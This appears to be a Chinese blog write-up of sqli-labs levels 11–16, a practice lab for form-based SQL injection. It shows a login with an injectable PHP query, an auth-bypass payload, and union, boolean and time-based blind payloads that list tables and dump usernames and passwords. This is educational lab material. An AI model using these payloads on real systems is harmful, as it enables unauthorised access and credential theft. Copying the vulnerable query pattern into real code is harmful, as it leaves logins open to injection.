表单注入——sqli-labs第11~16关
目录
第11关
0、万能账号、密码的前提
登录的验证方式如下面这种
……
$Name = $_POST['userName'];
$pwd = $_POST['password'];
$loginSQL = "select * from users where userName='$Name' and password='$pwd'";
echo $loginSQL;
$resultLogin = mysql_query($loginSQL);
if (mysql_num_rows($resultLogin) > 0) {
echo "登录成功";
} else {
echo "登录失败";
}
closeConnect();
……
重点是这句话
select * from users where userName='$Name' and password='$pwd'
加入 ' or 1#
后,变成这样:
select * from users where userName='$Name ' or 1# ' and password='$pwd'"
#
后面都被注释,即此语句恒为真。所以登录成功
1、判断是否POST注入
观察是post还是get 可以看url的变化,或者看源码 1.
2.
2、猜测后台SQL语句
3、判断闭合符
在表单里分别输入XXXX' or 1#
, xxxx" or 1#
。然后按下submit,观察反应
发现单引号是闭合符
。
4 、查询列数
xxxx ' order by 3 #
xxxx ' order by 2 #
说明是两列。
5、找显示位
6、查库名
cwa' union select 1,database()#
7、查表名
cwa' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
8、查列名
cwa' union select 1,group_concat(column_name) from information_schema.COLUMNs where table_schema='security' and table_name='users'#
9、找账号密码
cwa' union select 1,group_concat(concat_ws(",",username,password) SEPARATOR "|") from users #
第12关
和第11关一样,只不过闭合符是")
第13关
查列数
admin') order by 2#
查显示位,没有输出
admin') union select 1,2#
所以使用布尔盲注,参考第五关的第二种方法
第14关
1
…… ibeb’ order by 5# ibeb") order by 5# ibeb’) order by 5#
ibeb" order by 5#
找出闭合符是"
2
两列
wsgver" order by 2 #
发现不回显,所以可以使用延迟盲注
fwfwf" union select 1,2#
3
ibeb" or if(3>2,sleep(2),1)#
发现延迟不止2秒,猜测应该是查询的数据太多,每个数据延迟2秒,加起来就很长时间了。所以可以把延迟时间改为0.2,可以减少等待的时间。
4
数据库名是8位
vvwc" or if(length(database())>7,sleep(3),1) #
vvwc" or if(length(database())>8,sleep(3),1) #
5
第一位的ASCII值是115,是s
vvwc" or if(ascii(substr(database(),1,1))>114,sleep(3),1) #
vvwc" or if(ascii(substr(database(),1,1))>115,sleep(3),1) #
6
…………
第15关
闭合符是'
可以使用布尔盲注
第16关
闭合符是")
- struts的声明式异常处理 demo
- npm管理工具介绍
- 对windows密码抓取神器mimikatz的逆向分析
- Keras中神经网络模型的5阶段生命周期
- java的断言(assert)
- Android studio中Rendering Problems不能可视化操作的解决办法
- 使用 Referer Meta 标签控制 referer—详解 referrer-policy
- 网站抓取引子 - 获得网页中的表格
- Android Firebase 服务简介
- CVE-2015-0393:Oracle发布严重安全漏洞预警
- 研究人员发现一种利用Siri窃取苹果iPhone/iPad数据的方法
- 关于Python中的__main__和编程模板
- 世界大战尽在掌控:盘点全球网络攻击实时追踪系统
- Activity数据传递
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 猿实战10——动态表单之实现类目属性绑定
- 猿实战11——类目属性绑定之el-tree的使用
- 猿实战12——类目属性之动态绑定
- 一个maskrcnn的目标检测和实例分割的小例子
- Nginx系列:Nginx自带后端健康检查
- 消息队列之推还是拉,RocketMQ 和 Kafka是如何做的?
- Nginx系列:root与alias指令用法的区别
- Redis系列:Linux下部署Redis 6.x 版本
- 分布式锁的封装也很有讲究呀
- PHP与SEO,应用curl及正则获取搜狗搜索相关关键词
- Kafka经典面试题,你都会吗?
- 提高单细胞分析准确度的工具之一:Self-assembling manifolds
- 一不小心肝出了4W字的Redis面试教程
- 双向LSTM-CRF模型用于序列标注
- 容器服务 TKE 上服务暴露的几种方式